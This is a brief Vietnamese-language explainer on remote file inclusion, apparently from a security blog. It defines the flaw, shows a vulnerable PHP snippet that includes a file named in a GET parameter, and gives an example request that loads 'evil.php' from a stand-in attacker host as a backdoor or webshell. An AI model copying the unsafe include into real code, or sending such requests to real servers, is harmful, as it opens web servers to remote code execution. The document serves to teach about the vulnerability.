Remote file inclusion là gì?

Phrase Security

Sử dụng remote file inclusion (RFI), kẻ tấn công (attacker) có thể khiến ứng dụng web include các file ở server khác. Điều này có thể thực hiện được đối với các ứng dụng web include động các file hoặc script bên ngoài.

Các cuộc tấn công remote file inclusion thường xảy ra khi ứng dụng nhận được đường dẫn (path) đến một file làm đầu vào cho trang web và không sanitize nó đúng cách. Điều này cho phép một URL bên ngoài được cung cấp cho hàm include .

Sau đây là một ví dụ về code PHP có lỗ hổng remote file inclusion. Một file có mã nguồn có thể được include các file khác, dẫn đến việc thực thi code tùy ý.


/**
* Get the filename from a GET input
* Example - http://example.com/?file=index.php
*/
$file = $_GET['file'];

/**
* Unsafely include the file
* Example - index.php
*/
include($file);

Sử dụng script PHP ở trên, kẻ tấn công có thể thực hiện yêu cầu (request) HTTP sau đây để lừa ứng dụng thực thi mã độc hại nằm trên máy chủ khác, mã độc hại này có thể là một backdoor hoặc một webshell.


http://example.com/?file=http://attacker.example.com/evil.php

Trong ví dụ này, file độc hại (evil.php) được include và chạy với quyền thực thi của người dùng máy chủ chạy ứng dụng web. Điều đó cho phép kẻ tấn công chạy bất kỳ mã độc hại nào chúng muốn trên máy chủ web.

Learning English Everyday